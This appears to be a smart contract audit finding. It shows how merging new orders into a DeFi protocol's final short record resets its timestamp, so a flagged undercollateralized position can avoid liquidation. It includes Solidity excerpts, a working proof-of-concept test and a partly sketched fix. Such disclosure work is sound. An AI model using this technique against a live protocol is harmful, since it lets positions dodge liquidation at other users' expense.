Summary
The protocol permits users to maintain up to 254 concurrent short records. When this limit is reached, any additional orders are appended to the final position, rather than creating a new one. A short record is subject to flagging if it breaches the primary liquidation ratio set by the protocol, leading to potential liquidation if it remains below the threshold for a predefined period.
The vulnerability emerges from the dependency of liquidation times on the updatedAt
value of shorts. For the last short record, the appending of any new orders provides an alternative pathway for updating the updatedAt
value of shorts, enabling users to circumvent liquidation by submitting minimal shorts to block liquidation by adjusting the time difference, thus avoiding liquidation even when they do not meet the collateral requirements for a healthy state.
Vulnerability Details
lets take a look at the code to see how this works.
Flagging of Short Record:
function flagShort(address asset, address shorter, uint8 id, uint16 flaggerHint)
external
isNotFrozen(asset)
nonReentrant
onlyValidShortRecord(asset, shorter, id)
{
short.setFlagger(cusd, flaggerHint);
emit Events.FlagShort(asset, shorter, id, msg.sender, adjustedTimestamp);
}
Liquidation Eligibility Check:
function _canLiquidate(MTypes.MarginCallPrimary memory m)
private
view
returns (bool)
{
uint256 timeDiff = LibOrders.getOffsetTimeHours() - m.short.updatedAt;
uint256 resetLiquidationTime = LibAsset.resetLiquidationTime(m.asset);
if (timeDiff >= resetLiquidationTime) {
return false;
} else {
uint256 secondLiquidationTime = LibAsset.secondLiquidationTime(m.asset);
bool isBetweenFirstAndSecondLiquidationTime = timeDiff
> LibAsset.firstLiquidationTime(m.asset) && timeDiff <= secondLiquidationTime
&& s.flagMapping[m.short.flaggerId] == msg.sender;
bool isBetweenSecondAndResetLiquidationTime =
timeDiff > secondLiquidationTime && timeDiff <= resetLiquidationTime;
if (
!(
(isBetweenFirstAndSecondLiquidationTime)
|| (isBetweenSecondAndResetLiquidationTime)
)
) {
revert Errors.MarginCallIneligibleWindow();
}
return true;
}
}
}
Short Record Merging:
For the last short record, the fillShortRecord
function combines new matched shorts with the existing one, invoking the merge
function, which updates the updatedAt
value to the current time.
function fillShortRecord(
address asset,
address shorter,
uint8 shortId,
SR status,
uint88 collateral,
uint88 ercAmount,
uint256 ercDebtRate,
uint256 zethYieldRate
) internal {
AppStorage storage s = appStorage();
uint256 ercDebtSocialized = ercAmount.mul(ercDebtRate);
uint256 yield = collateral.mul(zethYieldRate);
STypes.ShortRecord storage short = s.shortRecords[asset][shorter][shortId];
if (short.status == SR.Cancelled) {
short.ercDebt = short.collateral = 0;
}
short.status = status;
LibShortRecord.merge(
short,
ercAmount,
ercDebtSocialized,
collateral,
yield,
LibOrders.getOffsetTimeHours()
);
}
function merge(
STypes.ShortRecord storage short,
uint88 ercDebt,
uint256 ercDebtSocialized,
uint88 collateral,
uint256 yield,
uint24 creationTime
) internal {
ercDebtSocialized += short.ercDebt.mul(short.ercDebtRate);
short.ercDebt += ercDebt;
short.ercDebtRate = ercDebtSocialized.divU64(short.ercDebt);
yield += short.collateral.mul(short.zethYieldRate);
short.collateral += collateral;
short.zethYieldRate = yield.divU80(short.collateral);
short.updatedAt = creationTime;
}
This means that even if the position was flagged and is still under the primaryLiquidationCR
, it cannot be liquidated as the updatedAt
timestamp has been updated, making the time difference not big enough.
Click to expand Proof of Concept
function testShortAvoidLiquidation() public {
for (uint i; i < 253; i++) {
fundLimitShortOpt(DEFAULT_PRICE, DEFAULT_AMOUNT * 5, sender);
fundLimitBidOpt(DEFAULT_PRICE, DEFAULT_AMOUNT * 5, receiver);
}
assertTrue(getShortRecord(sender, 254).status == SR.FullyFilled);
skipTimeAndSetEth(1 hours, 2000 ether);
vm.prank(receiver);
diamond.flagShort(asset, sender, 254, Constants.HEAD);
assertTrue(getShortRecord(sender, 254).flaggerId == 1);
skipTimeAndSetEth(11 hours, 2000 ether);
fundLimitShortOpt(DEFAULT_PRICE * 2, DEFAULT_AMOUNT , sender);
fundLimitBidOpt(DEFAULT_PRICE * 2, DEFAULT_AMOUNT , receiver);
fundLimitAskOpt(DEFAULT_PRICE, DEFAULT_AMOUNT * 6, extra);
vm.startPrank(receiver);
vm.expectRevert(Errors.MarginCallIneligibleWindow.selector);
diamond.liquidate(
asset, sender, 254, shortHintArrayStorage
);
vm.stopPrank();
}
Impact
This allows a user with a position under the primaryLiquidationCR to avoid primary liquidation even if the short is in the valid time ranges for liquidation.
Tools Used
Recommendations
Impose stricter conditions for updating the last short record when the position is flagged and remains under the primaryLiquidationCR
post-merge, similar to how the combineShorts
function works.
function createShortRecord(
address asset,
address shorter,
SR status,
uint88 collateral,
uint88 ercAmount,
uint64 ercDebtRate,
uint80 zethYieldRate,
uint40 tokenId
) internal returns (uint8 id) {
AppStorage storage s = appStorage();
} else {
id = Constants.SHORT_MAX_ID;
fillShortRecord(
asset,
shorter,
id,
status,
collateral,
ercAmount,
ercDebtRate,
zethYieldRate
);
if (Constants.SHORT_MAX_ID.shortFlagExists) {
if (
Constants.SHORT_MAX_ID.getCollateralRatioSpotPrice(
LibOracle.getSavedOrSpotOraclePrice(_asset)
) < LibAsset.primaryLiquidationCR(_asset)
) revert Errors.InsufficientCollateral();
Constants.SHORT_MAX_ID.resetFlag();
}
}
}